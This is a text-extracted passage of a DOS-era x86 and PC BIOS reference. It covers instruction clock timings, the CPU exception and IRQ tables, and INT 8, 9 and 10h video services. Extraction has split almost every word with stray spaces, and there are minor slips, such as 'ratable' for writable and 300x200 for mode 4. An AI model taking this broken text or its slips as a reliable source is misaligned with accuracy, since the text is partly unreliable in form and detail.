% Oper ands 808x 286 386 486 Byt es

dest 11 3 4 5 1 ( W88=15)


- see ~I nst r uct i on Ti mi ng~

: st r
^STR - St or e Task Regi st er ( 286+ pr i vi l eged)


Usage: STR dest
Modi f i es f l ags: None


St or es t he cur r ent Task Regi st er t o t he speci f i ed oper and.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16 - 2 2 2 3
mem16 - 3 2 3 5


- see ~I nst r uct i on Ti mi ng~

: sub
^SUB - Subt r act

Usage: SUB dest , sr c
Modi f i es f l ags: AF CF OF PF SF ZF


The sour ce i s subt r act ed f r omt he dest i nat i on and t he r esul t i s
st or ed i n t he dest i nat i on.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg 3 2 2 1 2
mem, r eg 16+EA 7 6 3 2- 4 ( W88=24+EA)
r eg, mem 9+EA 7 7 2 2- 4 ( W88=13+EA)
r eg, i mmed 4 3 2 1 3- 4
mem, i mmed 17+EA 7 7 3 3- 6 ( W88=25+EA)
accum, i mmed 4 3 2 1 2- 3


- see ~I nst r uct i on Ti mi ng~

: t est
^TEST - Test For Bi t Pat t er n

Usage: TEST dest , sr c
Modi f i es f l ags: CF OF PF SF ZF ( AF undef i ned)


Per f or ms a l ogi cal ~AND~ of t he t wo oper ands updat i ng t he f l ags
Pagina 848 di 991
r egi st er wi t hout savi ng t he r esul t .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg 3 2 1 1 2
r eg, mem 9+EA 6 5 1 2- 4 ( W88=13+EA)
mem, r eg 9+EA 6 5 2 2- 4 ( W88=13+EA)
r eg, i mmed 5 3 2 1 3- 4
mem, i mmed 11+EA 6 5 2 3- 6
accum, i mmed 4 3 2 1 2- 3


- see ~I nst r uct i on Ti mi ng~

: ver r
^VERR - Ver i f y Read ( 286+ pr ot ect ed)


Usage: VERR sr c
Modi f i es f l ags: ZF


Ver i f i es t he speci f i ed segment sel ect or i s val i d and i s r eadabl e
at t he cur r ent pr i vi l ege l evel . I f t he segment i s r eadabl e,
t he Zer o Fl ag i s set , ot her wi se i t i s cl ear ed.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16 - 14 10 11 3
mem16 - 16 11 11 5


- see ~I nst r uct i on Ti mi ng~

: ver w
^VERW- Ver i f y Wr i t e ( 286+ pr ot ect ed)


Usage: VERW sr c
Modi f i es f l ags: ZF


Ver i f i es t he speci f i ed segment sel ect or i s val i d and i s r at abl e
at t he cur r ent pr i vi l ege l evel . I f t he segment i s wr i t abl e,
t he Zer o Fl ag i s set , ot her wi se i t i s cl ear ed.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16 - 14 15 11 3
mem16 - 16 16 11 5


- see ~I nst r uct i on Ti mi ng~

: wai t : f wai t
^WAI T/ FWAI T - Event Wai t

Pagina 849 di 991

Usage: WAI T
FWAI T
Modi f i es f l ags: None


CPU ent er s wai t st at e unt i l t he copr ocessor si gnal s i t has f i ni shed
i t ' s oper at i on. Thi s i nst r uct i on i s used t o pr event t he CPU f r om
accessi ng memor y t hat may be t empor ar i l y i n use by t he copr ocessor .
WAI T and FWAI T ar e i dent i cal .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 4 3 6+ 1- 3 1


- see ~I nst r uct i on Ti mi ng~

: wbi nvd
^WBI NVD - Wr i t e- Back and I nval i dat e Cache


Usage: WBI NVD
Modi f i es f l ags: None


Fl ushes i nt er nal cache, t hen si gnal s t he ext er nal cache t o wr i t e
back cur r ent dat a f ol l owed by a si gnal t o f l ush t he ext er nal cache.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none - - - 5 2


- see ~I nst r uct i on Ti mi ng~

: xchg
^XCHG - Exchange


Usage: XCHG dest , sr c
Modi f i es f l ags: None


Exchanges cont ent s of sour ce and dest i nat i on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg 4 3 3 3 2
mem, r eg 17+EA 5 5 5 2- 4 ( W88=25+EA)
r eg, mem 17+EA 5 5 3 2- 4 ( W88=25+EA)
accum, r eg 3 3 3 3 1
r eg, accum 3 3 3 3 1


- see ~I nst r uct i on Ti mi ng~

: xl at : xl at b
Pagina 850 di 991
^XLAT/ XLATB - Tr ansl at e


Usage: XLAT t r ansl at i on- t abl e
XLATB ( masm5. x)
Modi f i es f l ags: None


Repl aces t he byt e i n AL wi t h byt e f r oma user t abl e addr essed by
BX. The or i gi nal val ue of AL i s t he i ndex i nt o t he t r ansl at e t abl e.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

t abl e 11 5 5 4 1


- see ~I nst r uct i on Ti mi ng~

: xor
^XOR - Excl usi ve OR

Usage: XOR dest , sr c
Modi f i es f l ags: CF OF PF SF ZF ( AF undef i ned)


Per f or ms a bi t wi se excl usi ve OR of t he oper ands and r et ur ns
t he r esul t i n t he dest i nat i on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg 3 2 2 1 2
mem, r eg 16+EA 7 6 3 2- 4 ( W88=24+EA)
r eg, mem 9+EA 7 7 2 2- 4 ( W88=13+EA)
r eg, i mmed 4 3 2 1 3- 4
mem, i mmed 17+EA 7 7 3 3- 6 ( W88=25+EA)
accum, i mmed 4 3 2 1 2- 3


- see ~I nst r uct i on Ti mi ng~



















Pagina 851 di 991
@I nt er r upt Ser vi ces DOSBI OSEMSMouse
: i nt t abl e: i nt er r upt t abl e: except i ons: I RQ
^I nt el Def i ned CPU Except i on Tabl e ( see not es)

% I nt er r upt Funct i on

0 Di vi de by zer o
1 Si ngl e st ep
2 Non- maskabl e ( NMI )
3 Br eakpoi nt
4 Over f l ow t r ap
5 BOUND r ange exceeded ( 186, 286, 386)
6 I nval i d opcode ( 186, 286, 386)
7 Copr ocessor not avai l abl e ( 286, 386)
8 Doubl e f aul t except i on ( 286, 386)
9 Copr ocessor segment over r un ( 286, 386)
A I nval i d t ask st at e segment ( 286, 386)
B Segment not pr esent ( 286, 386)
C St ack except i on ( 286, 386)
D Gener al pr ot ect i on except i on ( 286, 386)
E Page f aul t ( 286, 386)
F Reser ved
10 Copr ocessor er r or ( 286, 386)

^I BM PC Har dwar e I nt er r upt Tabl e ( i n or der of pr i or i t y)

% I RQ# I nt er r upt Funct i on

I RQ0 8 ~t i mer ~ ( 55ms i nt er val s, 18. 2 per second)
I RQ1 9 keyboar d ser vi ce r equi r ed
I RQ2 A sl ave ~8259~ or EGA/ VGA ver t i cal r et r ace
I RQ8 70 r eal t i me cl ock ( AT, XT286, PS50+)
I RQ9 71 sof t war e r edi r ect ed t o I RQ2 ( AT, XT286, PS50+)
I RQ10 72 r eser ved ( AT, XT286, PS50+)
I RQ11 73 r eser ved ( AT, XT286, PS50+)
I RQ12 74 mouse i nt er r upt ( PS50+)
I RQ13 75 numer i c copr ocessor er r or ( AT, XT286, PS50+)
I RQ14 76 f i xed di sk cont r ol l er ( AT, XT286, PS50+)
I RQ15 77 r eser ved ( AT, XT286, PS50+)
I RQ3 B COM2 or COM4 ser vi ce r equi r ed, ( COM3- COM8 on MCA PS/ 2)
I RQ4 C COM1 or COM3 ser vi ce r equi r ed
I RQ5 D f i xed di sk or dat a r equest f r omLPT2
I RQ6 E f l oppy di sk ser vi ce r equi r ed
I RQ7 F dat a r equest f r omLPT1 ( unr el i abl e on I BM mono)


^I nt er r upt Tabl e as I mpl ement ed by Syst emBI OS/ DOS

% I NT # Locus Funct i on

0 CPU di vi de by zer o
1 CPU si ngl e st ep
2 CPU non- maskabl e
3 CPU br eakpoi nt
4 CPU over f l ow t r ap
5 BI OS pr i nt scr een
6 CPU I nval i d opcode ( 186, 286, 386)
7 CPU copr ocessor not avai l abl e ( 286, 386)
8 I RQ0 ~t i mer ~ ( 55ms i nt er val s, 18. 21590 per second)
9 I RQ1 keyboar d ser vi ce r equi r ed ( see ~I NT 9~)
A I RQ2 sl ave ~8259~ or EGA/ VGA ver t i cal r et r ace
B I RQ3 COM2 ser vi ce r equi r ed ( PS/ 2 MCA COM3- COM8)
C I RQ4 COM1 ser vi ce r equi r ed
Pagina 852 di 991
D I RQ5 f i xed di sk or dat a r equest f r omLPT2
E I RQ6 f l oppy di sk ser vi ce r equi r ed
F I RQ7 dat a r equest f r omLPT1 ( unr el i abl e on I BM mono)
10 BI OS vi deo ( see ~I NT 10~)
11 BI OS Equi pment det er mi nat i on ( see ~I NT 11~)
12 BI OS memor y si ze ( see ~I NT 12~)
13 BI OS di sk I / O ser vi ce ( see ~I NT 13~)
14 BI OS ser i al communi cat i ons ( see ~I NT 14~)
15 BI OS syst emser vi ces, casset t e ( see ~I NT 15~)
16 BI OS keyboar d ser vi ces ( see ~I NT 16~)
17 BI OS par al l el pr i nt er ( see ~I NT 17~)
18 BI OS ROM BASI C l oader
19 BI OS boot st r ap l oader ( unr el i abl e, see ~I NT 19~)
1A BI OS t i me of day ( see ~I NT 1A~)
1B BI OS user def i ned ct r l - br eak handl er ( see ~I NT 1B~)
1C BI OS user def i ned cl ock t i ck handl er ( see ~I NT 1C~)
1D BI OS ~6845~ vi deo par amet er poi nt er
1E BI OS di sket t e par amet er poi nt er ( base t abl e)
1F BI OS gr aphi cs char act er t abl e
20 DOS gener al pr ogr amt er mi nat i on
21 DOS f unct i on r equest ser vi ces ( see ~I NT 21~)
22 DOS t er mi nat e addr ess ( see ~I NT 22~)
23 DOS cont r ol br eak t er mi nat i on addr ess ( see ~I NT 23~)
24 DOS cr i t i cal er r or handl er ( see ~I NT 24~)
25 DOS absol ut e di sk r ead ( see ~I NT 25~)
26 DOS absol ut e di sk wr i t e ( see ~I NT 26~)
27 DOS t er mi nat e and st ay r esi dent ( see ~I NT 27~)
28 DOS i dl e l oop, i ssued by DOS when i dl e ( see ~I NT 28~)
29 DOS f ast TTY consol e I / O ( see ~I NT 29~)
2A DOS cr i t i cal sect i on and NETBI OS ( see ~I NT 2A~)
2B DOS i nt er nal , si mpl e ~I RET~ i n DOS 2. 0- 5. 0
2C DOS i nt er nal , si mpl e I RET i n DOS 2. 0- 5. 0
2D DOS i nt er nal , si mpl e I RET i n DOS 2. 0- 5. 0
2E DOS exec command f r ombase l evel command
i nt er pr et er ( see ~I NT 2E~)
2F DOS mul t i pl exer ( see ~I NT 2F~)
30- 31 CPM f ar j ump vect or f or CPM ( not an i nt er r upt )
31 DPMI DOS Pr ot ect ed Mode I nt er f ace ( f or DOS ext ender s)
32 r eser ved
33 mouse suppor t ( see ~I NT 33~)
34- 3E Mi cr osof t / Bor l and f l oat i ng poi nt emul at i on
3F over l ay manager
40 BI OS har d di sk
41 BI OS f i xed di sk 0 par amet er s poi nt er ( see ~I NT 13, 9~)
42 BI OS r el ocat ed vi deo handl er ( EGA/ VGA/ PS)
43 BI OS user f ont t abl e ( EGA/ VGA/ PS)
44 BI OS f i r st 128 gr aphi cs char act er s ( al so Net war e)
45 BI OS r eser ved f or BI OS
46 BI OS f i xed di sk 1 par amet er s pt r ( see ~I NT 13, 9~/ I NT 41)
47 BI OS r eser ved f or BI OS
48 BI OS PCj r cor dl ess keyboar d t r ansl at i on
49 BI OS PCj r non- keyboar d scancode t r ansl at i on t abl e
4A BI OS user al ar m ( AT, CONV, PS/ 2) ( see ~I NT 4A~)
4B- 4F BI OS r eser ved
50 BI OS per i odi c al ar mf r omt i mer ( PS/ 2)
51- 58 BI OS r eser ved
59 BI OS GSS Comput er Gr aphi cs I nt er f ace
5A BI OS cl ust er adapt er BI OS ent r y poi nt
5B BI OS cl ust er adapt er boot
5C NETBI OS NETBI OS i nt er f ace, TOPS i nt er f ace
5D- 5F BI OS r eser ved f or BI OS
60- 67 r eser ved f or user sof t war e i nt er r upt s
67 EMS LI M/ EMS speci f i cat i on ( see ~I NT 67~)
Pagina 853 di 991
68 APPC
69- 6B r eser ved by I BM
6C DOS DOS 3. 2 r eal t i me cl ock updat e
BI OS syst emr esume vect or
6D- 6F r eser ved
70 I RQ8 r eal t i me cl ock ( AT, XT286, PS50+, see ~I NT 15~)
71 I RQ9 sof t war e r edi r ect ed t o I RQ2 ( AT, XT286, PS50+)
72 I RQ10 r eser ved ( AT, XT286, PS50+)
73 I RQ11 r eser ved ( AT, XT286, PS50+)
74 I RQ12 mouse i nt er r upt ( PS50+)
75 I RQ13 numer i c copr ocessor NMI er r or ( AT, XT286, PS50+)
76 I RQ14 f i xed di sk cont r ol l er ( AT, XT286, PS50+)
77 I RQ15 r eser ved ( AT, XT286, PS50+)
78- 79 unused
80- 85 ROM BASI C
86- F0 DOS r eser ved f or BASI C i nt er pr et er use
86 NETBI OS NETBI OS r el ocat ed I NT 18
E0 CPM CP/ M 86 f unct i on cal l s
F1- FF r eser ved by I BM
FE- FF may be dest r oyed by r et ur n f r ompr ot ect ed
mode usi ng VDI SK on 286 machi nes ( Apr 86, DDJ )


- I nt el def i ned 0 t hr ough 20h f or use f or i nt er nal CPU; I BM
r edef i ned i nt er r upt s 0 t hr ough 1Fh f or i t s own use, hence
t he dupl i cat e def i ni t i ons i n t he t abl es
- al l i nt er r upt s except t he i nt er nal CPU except i ons push t he
f l ags and t he CS: I P of t he next i nst r uct i on ont o t he st ack.
CPU except i on i nt er r upt s ar e si mi l ar but push t he CS: I P of t he
causal i nst r uct i on. 8086/ 88 di vi de except i ons ar e di f f er ent ,
t hey r et ur n t o t he i nst r uct i on f ol l owi ng t he di vi si on
- i nt er r upt s ar e di sabl ed upon ent r y i nt o any i nt er r upt r out i ne and
shoul d be enabl ed by t he user or by an ~I RET~
- i n DOS 3. 2+ har dwar e I RQ i nt er r upt s ar e r e- vect or ed t hr ough DOS
t o pr ovi de st andar d st ack f r ames

: i nt 5
^I NT 5 - Pr i nt Scr een


no i nput dat a


% r el at ed memor y:

50: 00 = 00 Pr i nt scr een has not been cal l ed, or upon r et ur n
f r oma cal l t her e wer e no er r or s
= 01 Pr i nt scr een i s al r eady i n pr ogr ess
= FF Er r or encount er ed dur i ng pr i nt i ng


- i nvoked f r om~I NT 9~

: i nt 8: BI OS t i mer i nt er r upt
^I NT 8 - Syst emt i mer

no i nput dat a

% r el at ed memor y:

40: 6C = Dai l y t i mer count er ( 4 byt es)
40: 70 = 24 hr over f l ow f l ag ( 1 byt e)
40: 67 = Day count er on al l pr oduct s af t er AT
Pagina 854 di 991
40: 40 = Mot or shut of f count er - decr ement ed unt i l 0 t hen
shut s of f di sket t e mot or


- ~I NT 1C~ i s i nvoked as a user i nt er r upt
- t he byt e at 40: 70 i s a f l ag t hat cer t ai n DOS f unct i ons use
and adj ust t he dat e i f necessar y. Si nce t hi s i s a f l ag and
not a count er i t r esul t s i n DOS ( not t he ~RTC~) l osi ng days
when sever al mi dni ght s pass bef or e a DOS cal l
- gener at ed 18. 2 t i mes per second by t he ~8253~ Pr ogr ammabl e I nt er val
Ti mer ( PI T)
- nor mal I NT 8 execut i on t akes appr oxi mat el y 100 mi cr oseconds

- see ~8253~

: i nt 9: keyboar d i nt er r upt
^I NT 9 - Keyboar d I nt er r upt ( Har dwar e Handl er )

no i nput dat a

% r el at ed memor y:

40: 17 = updat es keyboar d f l ag byt e 0
40: 18 = updat es keyboar d f l ag byt e 1
40: 1A = queue head pt r i s set t o buf f er st ar t i f Ct r l - Br eak i s hi t
40: 1C = updat es buf f er t ai l poi nt er f or each keyst r oke; set s
queue t ai l pt r i s set t o queue st ar t i f Ct r l - Br eak i s hi t
40: 1E = updat es keyboar d buf f er ( 32 byt es)
40: 71 = updat es bi t 7 of t he BI OS br eak f l ag i f Ct r l - Br eak i s hi t
40: 72 = updat es r eset f l ag wi t h 1234H i f Ct r l - Al t - Del pr essed
40: 96 = i ndi cat es keyboar d t ype ( AT, PS/ 2)
40: 97 = updat es keyboar d LED f l ags ( AT, PS/ 2)
FFFF: 0 = r eboot code cal l ed i f Ct r l - Al t - Del pr essed

% r el at ed i nt er r upt s:

~I NT 5~ i nvoked i f pr i nt scr een key pr essed
~I NT 1B~ i nvoked i f Ct r l - Br eak key sequence pr essed
~I NT 15, 85~ i nvoked on AT i f syst emr equest key i s pr essed
~I NT 15, 4F~ i nvoked on machi nes af t er PC/ AT wi t h AL = scan code


- r ecor ds key pr ess and key r el ease vi a I RQ1/ 8259 and
st or es scan codes i n t he BI OS buf f er l ocat ed at 40: 1C
- keyboar d cont r ol l er s al so buf f er dat a when i nt er r upt s ar e
di sabl ed at t he ~8259~ i nt er r upt cont r ol l er
- keyboar d cont r ol l er i s capabl e of st or i ng 16 keyst r okes
even when i nt er r upt s ar e di sabl ed at t he 8259
- nor mal I NT 9 execut i on t akes appr oxi mat el y 500 mi cr oseconds;
at l east one st andar d XT BI OS i s known t o t ake up t o 1. 3
mi l l i seconds t o execut e

- see ~MAKE CODES~ ~KB FLAGS~

: i nt 10: BI OS vi deo ser vi ces: vi deo i nt er r upt
^I NT 10 - Vi deo BI OS Ser vi ces

% For mor e i nf or mat i on, see t he f ol l owi ng t opi cs:

~I NT 10, 0~ - Set vi deo mode
~I NT 10, 1~ - Set cur sor t ype
~I NT 10, 2~ - Set cur sor posi t i on
~I NT 10, 3~ - Read cur sor posi t i on
Pagina 855 di 991
~I NT 10, 4~ - Read l i ght pen
~I NT 10, 5~ - Sel ect act i ve di spl ay page
~I NT 10, 6~ - Scr ol l act i ve page up
~I NT 10, 7~ - Scr ol l act i ve page down
~I NT 10, 8~ - Read char act er and at t r i but e at cur sor
~I NT 10, 9~ - Wr i t e char act er and at t r i but e at cur sor
~I NT 10, A~ - Wr i t e char act er at cur r ent cur sor
~I NT 10, B~ - Set col or pal et t e
~I NT 10, C~ - Wr i t e gr aphi cs pi xel at coor di nat e
~I NT 10, D~ - Read gr aphi cs pi xel at coor di nat e
~I NT 10, E~ - Wr i t e t ext i n t el et ype mode
~I NT 10, F~ - Get cur r ent vi deo st at e
~I NT 10, 10~ - Set / get pal et t e r egi st er s ( EGA/ VGA)
~I NT 10, 11~ - Char act er gener at or r out i ne ( EGA/ VGA)
~I NT 10, 12~ - Vi deo subsyst emconf i gur at i on ( EGA/ VGA)
~I NT 10, 13~ - Wr i t e st r i ng ( BI OS af t er 1/ 10/ 86)
~I NT 10, 14~ - Load LCD char f ont ( conver t i bl e)
~I NT 10, 15~ - Ret ur n physi cal di spl ay par ms ( conver t i bl e)
~I NT 10, 1A~ - Vi deo Di spl ay Combi nat i on ( VGA)
~I NT 10, 1B~ - Vi deo BI OS Funct i onal i t y/ St at e I nf or mat i on ( MCGA/ VGA)
~I NT 10, 1C~ - Save/ Rest or e Vi deo St at e ( VGA onl y)
~I NT 10, FE~ - Get DESQVi ew/ TopVi ew Vi r t ual Scr een Regen Buf f er
~I NT 10, FF~ - Updat e DESQVi ew/ TopVi ew Vi r t ual Scr een Regen Buf f er


War ni ng: Some BI OS i mpl ement at i ons have a bug t hat causes r egi st er
BP t o be dest r oyed. I t i s advi sabl e t o save BP bef or e a cal l t o
Vi deo BI OS r out i nes on t hese syst ems.

- r egi st er s CS, DS, ES, SS, BX, CX, DX ar e pr eser ved unl ess
expl i ci t l y changed
- see ~I NT 1F~ ~I NT 1D~ ~I NT 29~ ~I NT 21, 2~ ~I NT 21, 6~ ~I NT 21, 9~

: i nt 10, 0: vi deo modes
^I NT 10, 0 - Set Vi deo Mode

AH = 00
AL = 00 40x25 B/ Wt ext ( CGA, EGA, MCGA, VGA)
= 01 40x25 16 col or t ext ( CGA, EGA, MCGA, VGA)
= 02 80x25 16 shades of gr ay t ext ( CGA, EGA, MCGA, VGA)
= 03 80x25 16 col or t ext ( CGA, EGA, MCGA, VGA)
= 04 320x200 4 col or gr aphi cs ( CGA, EGA, MCGA, VGA)
= 05 320x200 4 col or gr aphi cs ( CGA, EGA, MCGA, VGA)
= 06 640x200 B/ Wgr aphi cs ( CGA, EGA, MCGA, VGA)
= 07 80x25 Monochr ome t ext ( MDA, HERC, EGA, VGA)
= 08 160x200 16 col or gr aphi cs ( PCj r )
= 09 320x200 16 col or gr aphi cs ( PCj r )
= 0A 640x200 4 col or gr aphi cs ( PCj r )
= 0B Reser ved ( EGA BI OS f unct i on 11)
= 0C Reser ved ( EGA BI OS f unct i on 11)
= 0D 320x200 16 col or gr aphi cs ( EGA, VGA)
= 0E 640x200 16 col or gr aphi cs ( EGA, VGA)
= 0F 640x350 Monochr ome gr aphi cs ( EGA, VGA)
= 10 640x350 16 col or gr aphi cs ( EGA or VGA wi t h 128K)
640x350 4 col or gr aphi cs ( 64K EGA)
= 11 640x480 B/ Wgr aphi cs ( MCGA, VGA)
= 12 640x480 16 col or gr aphi cs ( VGA)
= 13 320x200 256 col or gr aphi cs ( MCGA, VGA)
= 8x EGA, MCGA or VGA i gnor e bi t 7, see bel ow
= 9x EGA, MCGA or VGA i gnor e bi t 7, see bel ow


- i f AL bi t 7=1, pr event s EGA, MCGA & VGA f r omcl ear i ng di spl ay
Pagina 856 di 991
- f unct i on updat es byt e at 40: 49; bi t 7 of byt e 40: 87
( EGA/ VGA Di spl ay Dat a Ar ea) i s set t o t he val ue of AL bi t 7

: i nt 10, 1
^I NT 10, 1 - Set Cur sor Type


AH = 01
CH = cur sor st ar t i ng scan l i ne ( cur sor t op) ( l ow or der 5 bi t s)
CL = cur sor endi ng scan l i ne ( cur sor bot t om) ( l ow or der 5 bi t s)


r et ur ns not hi ng


- cur sor scan l i nes ar e zer o based
- cur sor si ze can al so be set vi a t he ~6845~ CRT cont r ol l er
- cur sor si ze can be det er mi ned usi ng t he CRTC, ~I NT 10, 3~ or t he
~BI OS Dat a Ar ea~ byt es 40: 60 ( endi ng scan l i ne) and 40: 61 ( st ar t i ng
scan l i ne)
- t he f ol l owi ng i s a l i st of t he cur sor scan l i nes associ at ed wi t h
most common adapt er s; scr een si zes over 40 l i nes may di f f er
dependi ng on adapt er s.

% Li ne St ar t i ng Endi ng Char act er
% Vi deo Count Scan Li ne Scan Li ne Poi nt Si ze

CGA 25 06 07 08
MDA 25 0B 0C 0E
EGA 25 06 07 0E
EGA 43 04/ 06 07 08
VGA 25 0D 0E 10
VGA 40 08 09 0A
VGA 50 06 07 08

- use CX = 2000h t o di sabl e cur sor

: i nt 10, 2
^I NT 10, 2 - Set Cur sor Posi t i on


AH = 02
BH = page number ( 0 f or gr aphi cs modes)
DH = r ow
DL = col umn


r et ur ns not hi ng


- posi t i ons r el at i ve t o 0, 0 or i gi n
- 80x25 uses coor di nat es 0, 0 t o 24, 79; 40x25 uses 0, 0 t o 24, 39
- t he ~6845~ can al so be used t o per f or mt hi s f unct i on
- set t i ng t he dat a i n t he BI OS Dat a Ar ea at l ocat i on 40: 50 does not
t ake i mmedi at e ef f ect and i s not r ecommended
- see ~VI DEO PAGES~ ~6845~ ~BDA~

: i nt 10, 3
^I NT 10, 3 - Read Cur sor Posi t i on and Si ze


AH = 03
BH = vi deo page
Pagina 857 di 991


on r et ur n:
CH = cur sor st ar t i ng scan l i ne ( l ow or der 5 bi t s)
CL = cur sor endi ng scan l i ne ( l ow or der 5 bi t s)
DH = r ow
DL = col umn


- r et ur ns dat a f r om~BI OS DATA AREA~ l ocat i ons 40: 50, 40: 60 and 40: 61
- t he ~6845~ can al so be used t o r ead t he cur sor posi t i on
- t he r et ur n dat a can be ci r cumvent ed by di r ect por t I / O t o t he 6845
CRT Cont r ol l er si nce t hi s f unct i on r et ur ns t he dat a f ound i n t he
BI OS Dat a Ar ea wi t hout act ual l y checki ng t he cont r ol l er

: i nt 10, 4
^I NT 10, 4 - Read Li ght Pen Posi t i on


AH = 04


on r et ur n:
AH = 0 l i ght pen swi t ch not t r i gger ed
= 1 l i ght pen t r i gger ed
BX = pi xel col umn ( 0- 319 or 0- 639, mode dependent )
CH = r ast er l i ne ( 0- 199) ( CGA and EGA modes 4, 5 and 6)
CX = r ast er l i ne ( EGA modes except 4, 5 and 6)
DH = r ow ( 0- 24)
DL = col umn ( 0- 79 or 0- 79 mode dependent )


- dat a r et ur ned as a byt e coor di nat e, l eavi ng hor i zont al
accur acy t o wi t hi n 2 pi xel s ( 320) or 4 pi xel s ( 640)
- ver t i cal accur acy wi t hi n 2 l i nes
- PS/ 2' s don' t suppor t t he l i ght pen i nt er f ace

: i nt 10, 5
^I NT 10, 5 - Sel ect Act i ve Di spl ay Page

AH = 05
AL = new page number , see ~VI DEO PAGES~

f or PCj r onl y:
AL = 80h t o r ead CRT/ CPU page r egi st er s
81h t o set CPU page r egi st er
BL = CPU page r egi st er
82h t o set CRT page r egi st er
BH = CRT page r egi st er
83h t o set CPU and page r egi st er s
BH = CRT page r egi st er
BL = CPU page r egi st er


on r et ur n: ( PCj r onl y)
BH = CRT page r egi st er
BL = CPU page r egi st er

: i nt 10, 6
^I NT 10, 6 - Scr ol l Wi ndow Up


AH = 06
Pagina 858 di 991
AL = number of l i nes t o scr ol l , pr evi ous l i nes ar e
bl anked, i f 0 or AL > scr een si ze, wi ndow i s bl anked
BH = at t r i but e t o be used on bl ank l i ne
CH = r ow of upper l ef t cor ner of scr ol l wi ndow
CL = col umn of upper l ef t cor ner of scr ol l wi ndow
DH = r ow of l ower r i ght cor ner of scr ol l wi ndow
DL = col umn of l ower r i ght cor ner of scr ol l wi ndow


r et ur ns not hi ng


- i n vi deo mode 4 ( 300x200 4 col or ) on t he EGA, MCGA and VGA
t hi s f unct i on scr ol l s page 0 r egar dl ess of t he cur r ent page
- can be used t o scr ol l gr aphi cs scr eens, usi ng char act er coor ds
- on CGA' s t hi s f unct i on di sabl es vi deo adapt er , causi ng f l i t t er
: i nt 10, 7
^I NT 10, 7 - Scr ol l Wi ndow Down


AH = 07
AL = number of l i nes t o scr ol l , pr evi ous l i nes ar e
bl anked, i f 0 or AL > scr een si ze, wi ndow i s bl anked
BH = at t r i but e t o be used on bl ank l i ne
CH = r ow of upper l ef t cor ner of scr ol l wi ndow
CL = col umn of upper l ef t cor ner of scr ol l wi ndow
DH = r ow of l ower r i ght cor ner of scr ol l wi ndow
DL = col umn of l ower r i ght cor ner of scr ol l wi ndow


r et ur ns not hi ng


- i n vi deo mode 4 ( 300x200 4 col or ) on t he EGA, MCGA and VGA
t hi s f unct i on scr ol l s page 0 r egar dl ess of t he cur r ent page
- can be used t o scr ol l gr aphi cs scr eens, usi ng char act er coor ds
- on CGA' s t hi s f unct i on di sabl es vi deo adapt er , causi ng f l i t t er

: i nt 10, 8
^I NT 10, 8 - Read Char act er and At t r i but e at Cur sor Posi t i on


AH = 08
BH = di spl ay page


on r et ur n:
AH = at t r i but e of char act er ( al pha modes onl y)
AL = char act er at cur sor posi t i on


- i n vi deo mode 4 ( 300x200 4 col or ) on t he EGA, MCGA and VGA
t hi s f unct i on wor ks onl y on page zer o

: i nt 10, 9
^I NT 10, 9 - Wr i t e Char act er and At t r i but e at Cur sor Posi t i on


AH = 09
AL = ASCI I char act er t o wr i t e
BH = di spl ay page ( or mode 13h, backgr ound pi xel val ue)
BL = char act er at t r i but e ( t ext ) f or egr ound col or ( gr aphi cs)
CX = count of char act er s t o wr i t e ( CX >= 1)
Pagina 859 di 991


r et ur ns not hi ng


- does not move t he cur sor
- i n gr aphi cs mode ( except mode 13h) , i f BL bi t 7=1 t hen
val ue of BL i s XOR' ed wi t h t he backgr ound col or

: i nt 10, a
^I NT 10, A - Wr i t e Char act er Onl y at Cur r ent Cur sor Posi t i on


AH = 0A
AL = ASCI I char act er t o wr i t e
BH = di spl ay page ( or mode 13h, backgr ound pi xel val ue)
BL = f or egr ound col or ( gr aphi cs mode onl y)
CX = count of char act er s t o wr i t e ( CX >= 1)


r et ur n not hi ng


- si mi l ar t o ~I NT 10, 9~ except col or i gnor ed i n t ext modes

: i nt 10, b
^I NT 10, B - Set Col or Pal et t e

AH = 0B
BH = pal et t e col or I D
= 0 t o set backgr ound and bor der col or
= 1 t o sel ect 4 col or pal et t e
BL = col or val ue ( when BH = 0)
= pal et t e val ue ( when BH = 1)

Pal et t e Pi xel Col or
0 0 cur r ent backgr ound col or
1 gr een ( 2)
2 r ed ( 4)
3 br own ( 6)
1 0 cur r ent backgr ound col or
1 cyan ( 3)
2 magent a ( 5)
3 whi t e ( 7)

- does not wor k f or al l EGA and VGA vi deo modes
- set s bor der col or i n t ext mode ( BH = 0)

: i nt 10, c
^I NT 10, C - Wr i t e Gr aphi cs Pi xel at Coor di nat e


AH = 0C
AL = col or val ue ( XOR' ED wi t h cur r ent pi xel i f bi t 7=1)
BH = page number , see ~VI DEO PAGES~
CX = col umn number ( zer o based)
DX = r ow number ( zer o based)


r et ur ns not hi ng


- i f bi t 7 i s 1, col or speci f i ed i s XOR' ed wi t h cur r ent pi xel
Pagina 860 di 991
- page number i n BH i gnor ed f or 320x200 4 col or gr aphi cs mode
- t hi s f unct i on i s known t o dest r oy AX and possi bl y SI and DI on
on some PS/ 2 VGA syst ems

: i nt 10, d
^I NT 10, D - Read Gr aphi cs Pi xel at Coor di nat e


AH = 0D
BH = page number , see ~VI DEO PAGES~
CX = col umn number ( zer o based)
DX = r ow number ( zer o based)


on r et ur n:
AL = col or of pi xel r ead


- 64K I BM EGAs wi t h BI OS dat ed 9/ 13/ 84 i n 350 l i ne vi deo
modes, r et ur n i nval i d dat a i n AL
- page number i n BH i gnor ed f or 320x200 4 col or gr aphi cs mode

: i nt 10, e
^I NT 10, E - Wr i t e Text i n Tel et ype Mode


AH = 0E
AL = ASCI I char act er t o wr i t e
BH = page number ( t ext modes)
BL = f or egr ound pi xel col or ( gr aphi cs modes)


r et ur ns not hi ng


- cur sor advances af t er wr i t e
- char act er s BEL ( 7) , BS ( 8) , LF ( A) , and CR ( D) ar e
t r eat ed as cont r ol codes
- f or some ol der BI OS ( 10/ 19/ 81) , t he BH r egi st er must poi nt
t o t he cur r ent l y di spl ayed page
